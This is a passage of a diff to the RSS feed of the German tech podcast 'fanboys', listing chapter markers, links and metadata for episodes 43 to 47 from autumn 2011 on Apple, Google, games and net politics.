Sounds</td></tr><tr><td>00:45:34</td><td><a href="http://www.youtube.com/watch?v=nBr7EhL6Jpg" target="_blank">Desert Bus</td></tr><tr><td>00:49:09</td><td><a href="http://desertbus.org/" target="_blank">Desert Bus for Hope</td></tr><tr><td>00:50:14</td><td><a href="http://loadingreadyrun.com/" target="_blank">Loading Ready Run</td></tr><tr><td>00:52:20</td><td><a href="https://twitter.com/#!/desertbus" target="_blank">@desertbus</td></tr><tr><td>00:52:57</td><td><a href="http://lendrom.at" target="_blank">Lendromat</td></tr><tr><td>00:56:29</td><td><a href="http://en.wikipedia.org/wiki/The_Legend_of_Zelda:_Skyward_Sword" target="_blank">Zelda Skyward Sword</td></tr><tr><td>01:02:59</td><td><a href="http://en.wikipedia.org/wiki/Super_Mario_3D_Land" target="_blank">Super Mario 3D Land</td></tr><tr><td>01:08:50</td><td><a href="http://www.jaksta.com/" target="_blank">Jaksta</td></tr><tr><td>01:11:15</td><td><a href="http://www.youtube.com/watch?v=YNvIHTgjFHE" target="_blank">Rausschmeisser</td></tr></table>]]></description>
+ <sc:chapters version="1.0">
+ <sc:chapter start="00:00:00" title="Anfang" />
+ <sc:chapter start="00:00:08" title="Mit Dominik" href="http://twitter.com/monkeydom" />
+ <sc:chapter start="00:00:11" title="Marcel" href="http://twitter.com/zeitweise" />
+ <sc:chapter start="00:00:15" title="und Martin" href="http://twitter.com/map" />
+ <sc:chapter start="00:00:40" title="Mitt Romney" />
+ <sc:chapter start="00:01:26" title="Das Labyrinth der Träumenden Bücher" />
+ <sc:chapter start="00:02:28" title="Google TV" />
+ <sc:chapter start="00:06:03" title="Wetten, dass..?" />
+ <sc:chapter start="00:07:50" title="Big Fish Games" href="http://www.bloomberg.com/news/2011-11-22/apple-lets-big-fish-games-offer-ipad-subscription-a-first-for-video-games.html" />
+ <sc:chapter start="00:13:22" title="Hörsuppe" href="http://hoersuppe.de/" />
+ <sc:chapter start="00:16:18" title="Chaosradio zum Podcasten" href="http://chaosradio.ccc.de/cr174.html" />
+ <sc:chapter start="00:17:57" title="Wie man Politiker zum Twittern bringt" href="http://www.morgenpost.de/berlin-aktuell/article1837363/Pirat-twittert-als-Berliner-SPD-Abgeordneter.html?utm_source=twitterfeed&amp;utm_medium=twitter" />
+ <sc:chapter start="00:25:21" title="Grüne Bundesdelgiertenkonferenz" href="http://www.metronaut.de/freiheit/wieviel-netzpolitik-steckt-wirklich-in-den-gruenen/" />
+ <sc:chapter start="00:28:15" title="iCloud" />
+ <sc:chapter start="00:32:46" title="SSD Aufrüsten" />
+ <sc:chapter start="00:37:45" title="Garageband und Chaptermarks" />
+ <sc:chapter start="00:44:20" title="Pony Sounds" href="http://itunes.apple.com/us/app/pony-sounds/id458653383?mt=8" />
+ <sc:chapter start="00:45:34" title="Desert Bus" href="http://www.youtube.com/watch?v=nBr7EhL6Jpg" />
+ <sc:chapter start="00:49:09" title="Desert Bus for Hope" href="http://desertbus.org/" />
+ <sc:chapter start="00:50:14" title="Loading Ready Run" href="http://loadingreadyrun.com/" />
+ <sc:chapter start="00:52:20" title="@desertbus" href="https://twitter.com/#!/desertbus" />
+ <sc:chapter start="00:52:57" title="Lendromat" href="http://lendrom.at" />
+ <sc:chapter start="00:56:29" title="Zelda Skyward Sword" href="http://en.wikipedia.org/wiki/The_Legend_of_Zelda:_Skyward_Sword" />
+ <sc:chapter start="01:02:59" title="Super Mario 3D Land" href="http://en.wikipedia.org/wiki/Super_Mario_3D_Land" />
+ <sc:chapter start="01:08:50" title="Jaksta" href="http://www.jaksta.com/" />
+ <sc:chapter start="01:11:15" title="Rausschmeisser" href="http://www.youtube.com/watch?v=YNvIHTgjFHE" />
+ </sc:chapters>
+ <atom:link rel="http://podlove.org/deep-link" href="http://fanboys.fm/#47:" />
+ </item>
+ <item>
+ <title>Episode #46 - Zusammengefroren</title>
+ <itunes:explicit>no</itunes:explicit>
+ <itunes:author>fanboys</itunes:author>
+ <itunes:subtitle>Zusammengefroren</itunes:subtitle>
+ <enclosure url="http://xn--fanbys-exa.org/episodes/FAN046.mp3" length="35796657" type="audio/mpeg"/>
+ <guid isPermaLink="false">FAN046</guid>
+ <pubDate>Fri, 18 Nov 2011 21:21:11 +0100</pubDate>
+ <itunes:duration>01:14:26</itunes:duration>
+
+ <itunes:summary><![CDATA[00:00:00 Anfang
+00:00:11 Mit Dominik
+00:00:15 Marcel
+00:00:19 und Martin
+00:00:43 Google TV ist tot
+00:02:19 Google Checkout auch
+00:03:56 Backtype
+00:04:22 Kindle Fire ist draussen
+00:14:17 Texas Hold'em und APIs
+00:19:47 iTunes 10.5.1 und Match
+00:21:52 Tabs per Undo wiederaufmachen
+00:23:52 Vorratsdatenspeicherung bei Uhl und SPD
+00:27:10 openmind'11 Videos
+00:28:31 Marcels Keynote
+00:28:40 Equalismus Workshop
+00:30:28 electoral-vote.com
+00:36:57 Coding und Style
+00:41:04 To sync or not to sync
+00:45:32 AppleTV Bildschirmschoner-Bilder
+00:47:05 Langsame SSD
+00:49:16 Audio Hijack und Skype
+00:54:57 ThinkUp
+00:57:04 Super Mario 3D Land
+01:05:23 Skyrim
+01:09:51 Awkward Sword
+01:11:53 Rausschmeisser
+
+
+
+(cc-by-nc-sa) 2011]]></itunes:summary>
+ <description><![CDATA[<table><tr><td>00:00:00</td><td>Anfang</td></tr><tr><td>00:00:11</td><td><a href="http://twitter.com/monkeydom" target="_blank">Mit Dominik</td></tr><tr><td>00:00:15</td><td><a href="http://twitter.com/zeitweise" target="_blank">Marcel</td></tr><tr><td>00:00:19</td><td><a href="http://twitter.com/map" target="_blank">und Martin</td></tr><tr><td>00:00:43</td><td><a href="http://www.google.com/tv/" target="_blank">Google TV ist tot</td></tr><tr><td>00:02:19</td><td><a href="http://checkout.google.com" target="_blank">Google Checkout auch</td></tr><tr><td>00:03:56</td><td><a href="http://www.backtype.com/" target="_blank">Backtype</td></tr><tr><td>00:04:22</td><td><a href="http://en.wikipedia.org/wiki/Kindle_Fire" target="_blank">Kindle Fire ist draussen</td></tr><tr><td>00:14:17</td><td><a href="http://www.appleinsider.com/articles/11/11/17/apples_first_party_texas_holdem_game_removed_from_ios_app_store.html" target="_blank">Texas Hold'em und APIs</td></tr><tr><td>00:19:47</td><td><a href="http://www.apple.com/icloud/features/" target="_blank">iTunes 10.5.1 und Match</td></tr><tr><td>00:21:52</td><td>Tabs per Undo wiederaufmachen</td></tr><tr><td>00:23:52</td><td>Vorratsdatenspeicherung bei Uhl und SPD</td></tr><tr><td>00:27:10</td><td><a href="http://torrent.piratenpartei-hessen.de/" target="_blank">openmind'11 Videos</td></tr><tr><td>00:28:31</td><td><a href="http://www.137b.org/?p=2324" target="_blank">Marcels Keynote</td></tr><tr><td>00:28:40</td><td><a href="http://politology.de/2011/11/16/equalismus-bei-den-piraten-auf-der-om11/" target="_blank">Equalismus Workshop</td></tr><tr><td>00:30:28</td><td><a href="http://electoral-vote.com/" target="_blank">electoral-vote.com</td></tr><tr><td>00:36:57</td><td><a href="http://www.codinghorror.com/blog/2004/02/recommended-reading-for-developers.html" target="_blank">Coding und Style</td></tr><tr><td>00:41:04</td><td>To sync or not to sync</td></tr><tr><td>00:45:32</td><td><a href="http://cl.ly/ByOn" target="_blank">AppleTV Bildschirmschoner-Bilder</td></tr><tr><td>00:47:05</td><td>Langsame SSD</td></tr><tr><td>00:49:16</td><td>Audio Hijack und Skype</td></tr><tr><td>00:54:57</td><td><a href="http://thinkupapp.com/" target="_blank">ThinkUp</td></tr><tr><td>00:57:04</td><td><a href="http://en.wikipedia.org/wiki/Super_Mario_3D_Land" target="_blank">Super Mario 3D Land</td></tr><tr><td>01:05:23</td><td><a href="http://en.wikipedia.org/wiki/The_Elder_Scrolls_V:_Skyrim" target="_blank">Skyrim</td></tr><tr><td>01:09:51</td><td><a href="http://en.wikipedia.org/wiki/The_Legend_of_Zelda:_Skyward_Sword" target="_blank">Awkward Sword</td></tr><tr><td>01:11:53</td><td><a href="https://www.facebook.com/video/video.php?v=10150188740808073" target="_blank">Rausschmeisser</td></tr></table>]]></description>
+ <sc:chapters version="1.0">
+ <sc:chapter start="00:00:00" title="Anfang" />
+ <sc:chapter start="00:00:11" title="Mit Dominik" href="http://twitter.com/monkeydom" />
+ <sc:chapter start="00:00:15" title="Marcel" href="http://twitter.com/zeitweise" />
+ <sc:chapter start="00:00:19" title="und Martin" href="http://twitter.com/map" />
+ <sc:chapter start="00:00:43" title="Google TV ist tot" href="http://www.google.com/tv/" />
+ <sc:chapter start="00:02:19" title="Google Checkout auch" href="http://checkout.google.com" />
+ <sc:chapter start="00:03:56" title="Backtype" href="http://www.backtype.com/" />
+ <sc:chapter start="00:04:22" title="Kindle Fire ist draussen" href="http://en.wikipedia.org/wiki/Kindle_Fire" />
+ <sc:chapter start="00:14:17" title="Texas Hold'em und APIs" href="http://www.appleinsider.com/articles/11/11/17/apples_first_party_texas_holdem_game_removed_from_ios_app_store.html" />
+ <sc:chapter start="00:19:47" title="iTunes 10.5.1 und Match" href="http://www.apple.com/icloud/features/" />
+ <sc:chapter start="00:21:52" title="Tabs per Undo wiederaufmachen" />
+ <sc:chapter start="00:23:52" title="Vorratsdatenspeicherung bei Uhl und SPD" />
+ <sc:chapter start="00:27:10" title="openmind'11 Videos" href="http://torrent.piratenpartei-hessen.de/" />
+ <sc:chapter start="00:28:31" title="Marcels Keynote" href="http://www.137b.org/?p=2324" />
+ <sc:chapter start="00:28:40" title="Equalismus Workshop" href="http://politology.de/2011/11/16/equalismus-bei-den-piraten-auf-der-om11/" />
+ <sc:chapter start="00:30:28" title="electoral-vote.com" href="http://electoral-vote.com/" />
+ <sc:chapter start="00:36:57" title="Coding und Style" href="http://www.codinghorror.com/blog/2004/02/recommended-reading-for-developers.html" />
+ <sc:chapter start="00:41:04" title="To sync or not to sync" />
+ <sc:chapter start="00:45:32" title="AppleTV Bildschirmschoner-Bilder" href="http://cl.ly/ByOn" />
+ <sc:chapter start="00:47:05" title="Langsame SSD" />
+ <sc:chapter start="00:49:16" title="Audio Hijack und Skype" />
+ <sc:chapter start="00:54:57" title="ThinkUp" href="http://thinkupapp.com/" />
+ <sc:chapter start="00:57:04" title="Super Mario 3D Land" href="http://en.wikipedia.org/wiki/Super_Mario_3D_Land" />
+ <sc:chapter start="01:05:23" title="Skyrim" href="http://en.wikipedia.org/wiki/The_Elder_Scrolls_V:_Skyrim" />
+ <sc:chapter start="01:09:51" title="Awkward Sword" href="http://en.wikipedia.org/wiki/The_Legend_of_Zelda:_Skyward_Sword" />
+ <sc:chapter start="01:11:53" title="Rausschmeisser" href="https://www.facebook.com/video/video.php?v=10150188740808073" />
+ </sc:chapters>
+ <atom:link rel="http://podlove.org/deep-link" href="http://fanboys.fm/#46:" />
+ </item>
+ <item>
+ <title>Episode #45 - Innenpolitik</title>
+ <itunes:explicit>no</itunes:explicit>
+ <itunes:author>fanboys</itunes:author>
+ <itunes:subtitle>Innenpolitik</itunes:subtitle>
+ <enclosure url="http://xn--fanbys-exa.org/episodes/FAN045.mp3" length="29009000" type="audio/mpeg"/>
+ <guid isPermaLink="false">FAN045</guid>
+ <pubDate>Fri, 11 Nov 2011 20:31:12 +0100</pubDate>
+ <itunes:duration>01:00:17</itunes:duration>
+
+ <itunes:summary><![CDATA[00:00:00 Anfang
+00:00:10 Mit Dominik
+00:00:15 Marcel
+00:00:20 und Martin
+00:01:17 Flash ist tot
+00:08:56 iCloud Schmerzen
+00:09:22 Playlisten Verlust
+00:10:45 Photos kaputt
+00:14:15 iTunes Sync Hänger
+00:17:53 iOS 5.0.1
+00:23:16 10.7.2 hat Grafikkartenbug behoben
+00:24:19 For Amusement Only
+00:26:13 Mach ma die Musik lauter!
+00:30:35 i5 oder i7?
+00:34:16 Droplist
+00:35:11 Dat Ding mit dem dat
+00:36:58 Europa und die 5% Hürde
+00:42:05 Martin ragiert
+00:45:19 Nicht Lustig App
+00:46:38 putpat.tv
+00:49:56 Yes Minister!
+00:51:40 Kogeto Dot
+00:57:50 Rausschmeisser
+
+
+
+(cc-by-nc-sa) 2011]]></itunes:summary>
+ <description><![CDATA[<table><tr><td>00:00:00</td><td>Anfang</td></tr><tr><td>00:00:10</td><td><a href="http://twitter.com/monkeydom" target="_blank">Mit Dominik</td></tr><tr><td>00:00:15</td><td><a href="http://twitter.com/zeitweise" target="_blank">Marcel</td></tr><tr><td>00:00:20</td><td><a href="http://twitter.com/map" target="_blank">und Martin</td></tr><tr><td>00:01:17</td><td><a href="http://blogs.adobe.com/conversations/2011/11/flash-focus.html" target="_blank">Flash ist tot</td></tr><tr><td>00:08:56</td><td>iCloud Schmerzen</td></tr><tr><td>00:09:22</td><td>Playlisten Verlust</td></tr><tr><td>00:10:45</td><td>Photos kaputt</td></tr><tr><td>00:14:15</td><td>iTunes Sync Hänger</td></tr><tr><td>00:17:53</td><td><a href="http://support.apple.com/kb/DL1472" target="_blank">iOS 5.0.1</td></tr><tr><td>00:23:16</td><td><a href="http://support.apple.com/kb/DL1459" target="_blank">10.7.2 hat Grafikkartenbug behoben</td></tr><tr><td>00:24:19</td><td><a href="http://for-amusement-only.de/" target="_blank">For Amusement Only</td></tr><tr><td>00:26:13</td><td>Mach ma die Musik lauter!</td></tr><tr><td>00:30:35</td><td>i5 oder i7?</td></tr><tr><td>00:34:16</td><td><a href="http://www.bloomingsoft.com/droplist/" target="_blank">Droplist</td></tr><tr><td>00:35:11</td><td>Dat Ding mit dem dat</td></tr><tr><td>00:36:58</td><td><a href="http://www.sueddeutsche.de/politik/umstrittene-sperrklausel-fuenf-prozent-klausel-bei-europawahl-ist-verfassungswidrig-1.1184555" target="_blank">Europa und die 5% Hürde</td></tr><tr><td>00:42:05</td><td><a href="http://en.wikipedia.org/wiki/Rage_(video_game)" target="_blank">Martin ragiert</td></tr><tr><td>00:45:19</td><td><a href="http://nichtlustig.de/" target="_blank">Nicht Lustig App</td></tr><tr><td>00:46:38</td><td><a href="http://www.putpat.tv/" target="_blank">putpat.tv</td></tr><tr><td>00:49:56</td><td><a href="http://en.wikipedia.org/wiki/Yes_Minister" target="_blank">Yes Minister!</td></tr><tr><td>00:51:40</td><td><a href="http://kogeto.tumblr.com/" target="_blank">Kogeto Dot</td></tr><tr><td>00:57:50</td><td><a href="http://www.macrumors.com/2011/11/10/apple-store-employees-made-this-music-video-to-teach-customer-service-skills/" target="_blank">Rausschmeisser</td></tr></table>]]></description>
+ <sc:chapters version="1.0">
+ <sc:chapter start="00:00:00" title="Anfang" />
+ <sc:chapter start="00:00:10" title="Mit Dominik" href="http://twitter.com/monkeydom" />
+ <sc:chapter start="00:00:15" title="Marcel" href="http://twitter.com/zeitweise" />
+ <sc:chapter start="00:00:20" title="und Martin" href="http://twitter.com/map" />
+ <sc:chapter start="00:01:17" title="Flash ist tot" href="http://blogs.adobe.com/conversations/2011/11/flash-focus.html" />
+ <sc:chapter start="00:08:56" title="iCloud Schmerzen" />
+ <sc:chapter start="00:09:22" title="Playlisten Verlust" />
+ <sc:chapter start="00:10:45" title="Photos kaputt" />
+ <sc:chapter start="00:14:15" title="iTunes Sync Hänger" />
+ <sc:chapter start="00:17:53" title="iOS 5.0.1" href="http://support.apple.com/kb/DL1472" />
+ <sc:chapter start="00:23:16" title="10.7.2 hat Grafikkartenbug behoben" href="http://support.apple.com/kb/DL1459" />
+ <sc:chapter start="00:24:19" title="For Amusement Only" href="http://for-amusement-only.de/" />
+ <sc:chapter start="00:26:13" title="Mach ma die Musik lauter!" />
+ <sc:chapter start="00:30:35" title="i5 oder i7?" />
+ <sc:chapter start="00:34:16" title="Droplist" href="http://www.bloomingsoft.com/droplist/" />
+ <sc:chapter start="00:35:11" title="Dat Ding mit dem dat" />
+ <sc:chapter start="00:36:58" title="Europa und die 5% Hürde" href="http://www.sueddeutsche.de/politik/umstrittene-sperrklausel-fuenf-prozent-klausel-bei-europawahl-ist-verfassungswidrig-1.1184555" />
+ <sc:chapter start="00:42:05" title="Martin ragiert" href="http://en.wikipedia.org/wiki/Rage_(video_game)" />
+ <sc:chapter start="00:45:19" title="Nicht Lustig App" href="http://nichtlustig.de/" />
+ <sc:chapter start="00:46:38" title="putpat.tv" href="http://www.putpat.tv/" />
+ <sc:chapter start="00:49:56" title="Yes Minister!" href="http://en.wikipedia.org/wiki/Yes_Minister" />
+ <sc:chapter start="00:51:40" title="Kogeto Dot" href="http://kogeto.tumblr.com/" />
+ <sc:chapter start="00:57:50" title="Rausschmeisser" href="http://www.macrumors.com/2011/11/10/apple-store-employees-made-this-music-video-to-teach-customer-service-skills/" />
+ </sc:chapters>
+ <atom:link rel="http://podlove.org/deep-link" href="http://fanboys.fm/#45:" />
+ </item>
+ <item>
+ <title>Episode #44 - Regenscheck</title>
+ <itunes:explicit>no</itunes:explicit>
+ <itunes:author>fanboys</itunes:author>
+ <itunes:subtitle>Regenscheck</itunes:subtitle>
+ <enclosure url="http://xn--fanbys-exa.org/episodes/FAN044.mp3" length="29115580" type="audio/mpeg"/>
+ <guid isPermaLink="false">FAN044</guid>
+ <pubDate>Fri, 04 Nov 2011 18:14:37 +0100</pubDate>
+ <itunes:duration>01:00:31</itunes:duration>
+
+ <itunes:summary><![CDATA[00:00:00 Anfang
+00:00:08 Mit Marcel
+00:00:11 und Martin
+00:00:52 Moers Warnhinweis
+00:02:44 iWorkAround
+00:05:05 iOS 5.0.1 und der Akku
+00:06:45 Google Reader
+00:08:51 Der Plus-Operator
+00:11:09 Google Code Search
+00:12:13 Google Sidewiki
+00:13:17 Gmail App
+00:14:42 Google Plus
+00:16:01 Trojanerinflation
+00:16:55 Schultrojaner
+00:22:54 Battlefield 3 Trojaner
+00:31:32 Staatstrojaner
+00:33:08 Logbuch Netzpolitik
+00:40:40 Mac Mini als Heimserver
+00:43:42 Safari Bookmarkleisten-Shortcuts
+00:46:22 Macbook Early 2008 SSD Update
+00:49:53 Impressum in Apps?
+00:52:59 Telekom <3
+00:55:00 Der alte Batman jetzt im Mac App Store
+00:56:35 Mails suchen auf iOS
+00:59:21 Rausschmeisser
+
+
+
+(cc-by-nc-sa) 2011]]></itunes:summary>
+ <description><![CDATA[<table><tr><td>00:00:00</td><td>Anfang</td></tr><tr><td>00:00:08</td><td><a href="http://twitter.com/zeitweise" target="_blank">Mit Marcel</td></tr><tr><td>00:00:11</td><td><a href="http://twitter.com/map" target="_blank">und Martin</td></tr><tr><td>00:00:52</td><td>Moers Warnhinweis</td></tr><tr><td>00:02:44</td><td><a href="http://www.macworld.com/article/163291/2011/10/icloud_iwork_sync.html" target="_blank">iWorkAround</td></tr><tr><td>00:05:05</td><td><a href="http://www.theinquirer.net/inquirer/news/2122697/apple-makes-ios-501-developers" target="_blank">iOS 5.0.1 und der Akku</td></tr><tr><td>00:06:45</td><td>Google Reader</td></tr><tr><td>00:08:51</td><td>Der Plus-Operator</td></tr><tr><td>00:11:09</td><td>Google Code Search</td></tr><tr><td>00:12:13</td><td>Google Sidewiki</td></tr><tr><td>00:13:17</td><td>Gmail App</td></tr><tr><td>00:14:42</td><td>Google Plus</td></tr><tr><td>00:16:01</td><td>Trojanerinflation</td></tr><tr><td>00:16:55</td><td><a href="http://netzpolitik.org/2011/viertes-update-zum-schultrojaner/" target="_blank">Schultrojaner</td></tr><tr><td>00:22:54</td><td><a href="http://monoxyd.de/20111101-angespielt-022-das-origin-dilemma" target="_blank">Battlefield 3 Trojaner</td></tr><tr><td>00:31:32</td><td>Staatstrojaner</td></tr><tr><td>00:33:08</td><td><a href="http://logbuch-netzpolitik.de/" target="_blank">Logbuch Netzpolitik</td></tr><tr><td>00:40:40</td><td>Mac Mini als Heimserver</td></tr><tr><td>00:43:42</td><td>Safari Bookmarkleisten-Shortcuts</td></tr><tr><td>00:46:22</td><td>Macbook Early 2008 SSD Update</td></tr><tr><td>00:49:53</td><td>Impressum in Apps?</td></tr><tr><td>00:52:59</td><td>Telekom <3</td></tr><tr><td>00:55:00</td><td><a href="http://itunes.apple.com/gr/app/batman-arkham-asylum/id469363039?mt=12" target="_blank">Der alte Batman jetzt im Mac App Store</td></tr><tr><td>00:56:35</td><td>Mails suchen auf iOS</td></tr><tr><td>00:59:21</td><td><a href="http://www.youtube.com/watch?v=u3THavMxNDE" target="_blank">Rausschmeisser</td></tr></table>]]></description>
+ <sc:chapters version="1.0">
+ <sc:chapter start="00:00:00" title="Anfang" />
+ <sc:chapter start="00:00:08" title="Mit Marcel" href="http://twitter.com/zeitweise" />
+ <sc:chapter start="00:00:11" title="und Martin" href="http://twitter.com/map" />
+ <sc:chapter start="00:00:52" title="Moers Warnhinweis" />
+ <sc:chapter start="00:02:44" title="iWorkAround" href="http://www.macworld.com/article/163291/2011/10/icloud_iwork_sync.html" />
+ <sc:chapter start="00:05:05" title="iOS 5.0.1 und der Akku" href="http://www.theinquirer.net/inquirer/news/2122697/apple-makes-ios-501-developers" />
+ <sc:chapter start="00:06:45" title="Google Reader" />
+ <sc:chapter start="00:08:51" title="Der Plus-Operator" />
+ <sc:chapter start="00:11:09" title="Google Code Search" />
+ <sc:chapter start="00:12:13" title="Google Sidewiki" />
+ <sc:chapter start="00:13:17" title="Gmail App" />
+ <sc:chapter start="00:14:42" title="Google Plus" />
+ <sc:chapter start="00:16:01" title="Trojanerinflation" />
+ <sc:chapter start="00:16:55" title="Schultrojaner" href="http://netzpolitik.org/2011/viertes-update-zum-schultrojaner/" />
+ <sc:chapter start="00:22:54" title="Battlefield 3 Trojaner" href="http://monoxyd.de/20111101-angespielt-022-das-origin-dilemma" />
+ <sc:chapter start="00:31:32" title="Staatstrojaner" />
+ <sc:chapter start="00:33:08" title="Logbuch Netzpolitik" href="http://logbuch-netzpolitik.de/" />
+ <sc:chapter start="00:40:40" title="Mac Mini als Heimserver" />
+ <sc:chapter start="00:43:42" title="Safari Bookmarkleisten-Shortcuts" />
+ <sc:chapter start="00:46:22" title="Macbook Early 2008 SSD Update" />
+ <sc:chapter start="00:49:53" title="Impressum in Apps?" />
+ <sc:chapter start="00:52:59" title="Telekom &lt;3" />
+ <sc:chapter start="00:55:00" title="Der alte Batman jetzt im Mac App Store" href="http://itunes.apple.com/gr/app/batman-arkham-asylum/id469363039?mt=12" />
+ <sc:chapter start="00:56:35" title="Mails suchen auf iOS" />
+ <sc:chapter start="00:59:21" title="Rausschmeisser" href="http://www.youtube.com/watch?v=u3THavMxNDE" />
+ </sc:chapters>
+ <atom:link rel="http://podlove.org/deep-link" href="http://fanboys.fm/#44:" />
+ </item>
+ <item>
+ <title>Episode #43 - Rumhühnern</title>
+ <itunes:explicit>no</itunes:explicit>
+ <itunes:author>fanboys</itunes:author>
+ <itunes:subtitle>Rumhühnern</itunes:subtitle>
+ <enclosure url="http://xn--fanbys-exa.org/episodes/FAN043.mp3" length="47543609" type="audio/mpeg"/>
+ <guid isPermaLink="false">FAN043</guid>
+ <pubDate>Fri, 28 Oct 2011 22:12:17 +0200</pubDate>
+ <itunes:duration>01:38:54</itunes:duration>
+
+ <itunes:summary><![CDATA[00:00:00 Anfang
+00:00:07 Mit Dominik
+00:00:12 Marcel
+00:00:15 und Martin
+00:00:58 Google Plus
+00:03:16 "Celebrating Steve"
+00:07:37 Biografie
+00:11:17 Das Labyrinth der träumenden Bücher
+00:12:09 iTV
+00:13:13 30 Rock
+00:16:58 Terminal Tipp
+00:18:30 iDoesNotWork with iCloud
+00:20:18 ALAC is open source
+00:22:32 Benutzt ihr Siri noch?
+00:24:05 Post Privacy Buchvorstellung
+00:36:12 Staatstrojaner
+00:42:58 Selbstversuch Instacast
+00:48:14 Spielemesse Essen
+00:51:44 Marcel bei Kwobb
+00:52:59 Mogelmotte
+00:53:55 Mackauf Beratung
+00:57:08 Reminder iCloud Sync Sharing
+01:01:46 Programmieren lernen
+01:08:06 9V Akkus und warum man sie nicht will
+01:11:34 Message.app und Emailadressen
+01:14:42 Podcast/Buch Empfehlung
+01:15:47 Wiederholungstäter
+01:16:33 Dat Problem mit dem dat
+01:21:33 Assistive Touch
+01:24:00 Gesten
+01:25:36 Custom Vibrations
+01:28:04 Batman: Arkham City
+01:30:42 Pixelmator 2
+01:32:52 Metakram
+01:35:17 Rausschmeisser
+
+
+
+(cc-by-nc-sa) 2011]]></itunes:summary>
+ <description><![CDATA[<table><tr><td>00:00:00</td><td>Anfang</td></tr><tr><td>00:00:07</td><td><a href="http://twitter.com/monkeydom" target="_blank">Mit Dominik</td></tr><tr><td>00:00:12</td><td><a href="http://twitter.com/zeitweise" target="_blank">Marcel</td></tr><tr><td>00:00:15</td><td><a href="http://twitter.com/map" target="_blank">und Martin</td></tr><tr><td>00:00:58</td><td>Google Plus</td></tr><tr><td>00:03:16</td><td><a href="http://events.apple.com.edgesuite.net/10oiuhfvojb23/event/index.html" target="_blank">"Celebrating Steve"</td></tr><tr><td>00:07:37</td><td><a href="http://www.amazon.com/Steve-Jobs-Walter-Isaacson/dp/1451648537" target="_blank">Biografie</td></tr><tr><td>00:11:17</td><td><a href="http://www.randomhouse.de/book/edition.jsp?edi=358447" target="_blank">Das Labyrinth der träumenden Bücher</td></tr><tr><td>00:12:09</td><td>iTV</td></tr><tr><td>00:13:13</td><td><a href="http://video.aol.com/video/a-new-invention-on-and03930-rockand039-020311-tv-replay/3666431115" target="_blank">30 Rock</td></tr><tr><td>00:16:58</td><td>Terminal Tipp</td></tr><tr><td>00:18:30</td><td>iDoesNotWork with iCloud</td></tr><tr><td>00:20:18</td><td><a href="http://alac.macosforge.org/" target="_blank">ALAC is open source</td></tr><tr><td>00:22:32</td><td>Benutzt ihr Siri noch?</td></tr><tr><td>00:24:05</td><td><a href="http://www.amazon.de/Post-Privacy-Prima-leben-Privatsphäre/dp/3406622232" target="_blank">Post Privacy Buchvorstellung</td></tr><tr><td>00:36:12</td><td><a href="http://ccc.de/de/updates/2011/analysiert-aktueller-staatstrojaner" target="_blank">Staatstrojaner</td></tr><tr><td>00:42:58</td><td><a href="http://itunes.apple.com/us/app/instacast/id420368235?mt=8" target="_blank">Selbstversuch Instacast</td></tr><tr><td>00:48:14</td><td>Spielemesse Essen</td></tr><tr><td>00:51:44</td><td><a href="http://www.kwobb.net/content/kwobbcast/episode/spiel-11-special-vom-22.-oktober-2010" target="_blank">Marcel bei Kwobb</td></tr><tr><td>00:52:59</td><td><a href="http://boardgamegeek.com/boardgame/105593/mogel-motte" target="_blank">Mogelmotte</td></tr><tr><td>00:53:55</td><td>Mackauf Beratung</td></tr><tr><td>00:57:08</td><td>Reminder iCloud Sync Sharing</td></tr><tr><td>01:01:46</td><td>Programmieren lernen</td></tr><tr><td>01:08:06</td><td>9V Akkus und warum man sie nicht will</td></tr><tr><td>01:11:34</td><td>Message.app und Emailadressen</td></tr><tr><td>01:14:42</td><td>Podcast/Buch Empfehlung</td></tr><tr><td>01:15:47</td><td><a href="http://wiederholungstaeter-podcast.de/" target="_blank">Wiederholungstäter</td></tr><tr><td>01:16:33</td><td>Dat Problem mit dem dat</td></tr><tr><td>01:21:33</td><td>Assistive Touch</td></tr><tr><td>01:24:00</td><td>Gesten</td></tr><tr><td>01:25:36</td><td>Custom Vibrations</td></tr><tr><td>01:28:04</td><td><a href="http://en.wikipedia.org/wiki/Batman:_Arkham_City" target="_blank">Batman: Arkham City</td></tr><tr><td>01:30:42</td><td><a href="http://www.pixelmator.com/weblog/2011/10/27/pixelmator-2-0-launches-on-mac-app-store/" target="_blank">Pixelmator 2</td></tr><tr><td>01:32:52</td><td>Metakram</td></tr><tr><td>01:35:17</td><td><a href="http://www.youtube.com/watch?v=dmTINEnGwnc" target="_blank">Rausschmeisser</td></tr></table>]]></description>
+ <sc:chapters version="1.0">
+ <sc:chapter start="00:00:00" title="Anfang" />
+ <sc:chapter start="00:00:07" title="Mit Dominik" href="http://twitter.com/monkeydom" />
+ <sc:chapter start="00:00:12" title="Marcel" href="http://twitter.com/zeitweise" />
+ <sc:chapter start="00:00:15" title="und Martin" href="http://twitter.com/map" />
+ <sc:chapter start="00:00:58" title="Google Plus" />
+ <sc:chapter start="00:03:16" title="&amp;quot;Celebrating Steve&amp;quot;" href="http://events.apple.com.edgesuite.net/10oiuhfvojb23/event/index.html" />
+ <sc:chapter start="00:07:37" title="Biografie" href="http://www.amazon.com/Steve-Jobs-Walter-Isaacson/dp/1451648537" />
+ <sc:chapter start="00:11:17" title="Das Labyrinth der träumenden Bücher" href="http://www.randomhouse.de/book/edition.jsp?edi=358447" />
+ <sc:chapter start="00:12:09" title="iTV" />
+ <sc:chapter start="00:13:13" title="30 Rock" href="http://video.aol.com/video/a-new-invention-on-and03930-rockand039-020311-tv-replay/3666431115" />
+ <sc:chapter start="00:16:58" title="Terminal Tipp" />
+ <sc:chapter start="00:18:30" title="iDoesNotWork with iCloud" />
+ <sc:chapter start="00:20:18" title="ALAC is open source" href="http://alac.macosforge.org/" />
+ <sc:chapter start="00:22:32" title="Benutzt ihr Siri noch?" />
+ <sc:chapter start="00:24:05" title="Post Privacy Buchvorstellung" href="http://www.amazon.de/Post-Privacy-Prima-leben-Privatsphäre/dp/3406622232" />
+ <sc:chapter start="00:36:12" title="Staatstrojaner" href="http://ccc.de/de/updates/2011/analysiert-aktueller-staatstrojaner" />
+ <sc:chapter start="00:42:58" title="Selbstversuch Instacast" href="http://itunes.apple.com/us/app/instacast/id420368235?mt=8" />
+ <sc:chapter start="00:48:14" title="Spielemesse Essen" />
+ <sc:chapter start="00:51:44" title="Marcel bei Kwobb" href="http://www.kwobb.net/content/kwobbcast/episode/spiel-11-special-vom-22.-oktober-2010" />
+ <sc:chapter start="00:52:59" title="Mogelmotte" href="http://boardgamegeek.com/boardgame/105593/mogel-motte" />
+ <sc:chapter start="00:53:55" title="Mackauf Beratung" />
